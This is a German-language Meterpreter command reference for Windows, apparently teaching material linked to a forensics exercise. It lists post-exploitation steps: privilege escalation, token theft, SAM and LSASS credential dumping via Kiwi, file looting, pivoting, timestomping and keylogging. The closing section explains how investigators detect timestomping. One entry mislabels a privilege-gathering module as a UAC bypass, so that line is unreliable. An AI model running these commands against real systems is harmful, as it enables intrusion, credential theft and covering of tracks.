Meterpreter unter Windows

Grundsätzliches

Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im Speicher des kompromittierten Prozesses und stellt einen einheitlichen Befehlssatz zur Verfügung. Die Windows-Variante bietet deutlich mehr Kommandos als die Linux-Version - vor allem alles rund um Prozess-Tokens, UAC-Bypass, die SAM-Datenbank, Zeitstempel-Manipulation und die Kiwi/Mimikatz-Erweiterung.

Hinweis: Der Befehl help zeigt in der laufenden Session, welche Kommandos der konkrete Payload tatsächlich unterstützt. Erweiterungen wie Kiwi müssen erst mit load nachgeladen werden.

Session-Verwaltung

Session in den Hintergrund legen, zurück zur msf-Konsole

background

Vorhandene Sessions anzeigen

sessions -l

Session wieder aufnehmen

sessions -i ID

Kontextbezogene Befehlsliste anzeigen

help

System und Recon

Betriebssystem, Architektur, Hostname

sysinfo

Unter welchem Benutzer läuft die Session

getuid

Eigene Prozess-ID

getpid

Prozessliste – Spalte User zeigt, welche Prozesse als SYSTEM laufen

ps

In eine normale System-Shell wechseln (cmd.exe)

shell

Rechteausweitung

Die Rechteausweitung ist auf Windows der zentrale Zwischenschritt: Ohne NT AUTHORITY\SYSTEM lassen sich weder die SAM-Datenbank noch der LSASS-Prozess auslesen.

Bekannte lokale Privilege-Escalation-Techniken durchprobieren

getsystem

Neue Identität überprüfen – sollte NT AUTHORITY\SYSTEM zeigen

getuid

UAC umgehen, falls getsystem an fehlender Elevation scheitert

run post/windows/gather/win_privs

In einen als SYSTEM laufenden Prozess wechseln (PID aus ps)

migrate 248

Token eines anderen Prozesses stehlen

steal_token 1784

Zugangsdaten auslesen

Passwort-Hashes aus der SAM-Datenbank (erfordert SYSTEM)

hashdump

Alternative als Post-Modul, robuster auf neueren Systemen

run post/windows/gather/hashdump

Kiwi/Mimikatz-Erweiterung nachladen

load kiwi

Alle im Speicher gefundenen Zugangsdaten (LSASS, erfordert SYSTEM)

creds_all

Nur Kerberos-Tickets

creds_kerberos

Klartext-Passwörter aus dem WDigest-Provider

creds_wdigest

Dateisystem

Verzeichnis anzeigen und wechseln

pwd
ls
cd C:\\Users

Datei vom Ziel herunterladen

download C:\\Users\\Administrator\\Desktop\\daten.xlsx C:\\loot\\

Datei auf das Ziel hochladen

upload werkzeug.exe C:\\Windows\\Temp\\

Dateien suchen

search -f *.kdbx

Netzwerk und Pivoting

Netzwerk-Interfaces anzeigen

ipconfig

Aktive Verbindungen

netstat

Routing-Tabelle

route

Lokales Port-Forwarding einrichten

portfwd add -l 3389 -p 3389 -r 10.254.31.50

Route über die Session für weitere Module setzen

run autoroute -s 10.254.31.0/24

Persistenz und Anti-Forensik

Zeitstempel einer Datei manipulieren (Timestomping)

timestomp C:\\Windows\\Temp\\payload.exe -m "01/01/2020 10:00:00"

Zeitstempel einer Referenzdatei übernehmen

timestomp C:\\payload.exe -f C:\\Windows\\notepad.exe

Keylogger im aktuellen Prozess starten

keyscan_start

Screenshot der aktiven Sitzung

screenshot

Unterschiede zur Linux-Variante

Die folgenden Kommandos existieren nur unter Windows, weil sie an Windows-Mechanismen gebunden sind:

getsystem / steal_token – Token-basierte Rechteausweitung
hashdump – SAM-Datenbank (unter Linux: /etc/shadow per Post-Modul)
load kiwi / creds_all – LSASS-Credential-Dumping
timestomp – Zeitstempel-Manipulation (unter Linux: touch -d)
keyscan_start / screenshot – GUI-nahe Funktionen

Bezug zum Forensik-Szenario

timestomp ist der direkte Gegenspieler zur Timeline-Analyse mit dem Sleuth Kit: Ein Angreifer setzt damit die MACB-Zeitstempel zurück, um die eigene Tatzeit zu verschleiern. Für die Verteidigung ist wichtig, dass Timestomping nur die Zeitstempel im Standard-Attribut ($STANDARD_INFORMATION) verändert, während NTFS die Originalwerte im $FILE_NAME-Attribut behält – ein aufmerksamer Ermittler erkennt die Manipulation an der Diskrepanz zwischen beiden.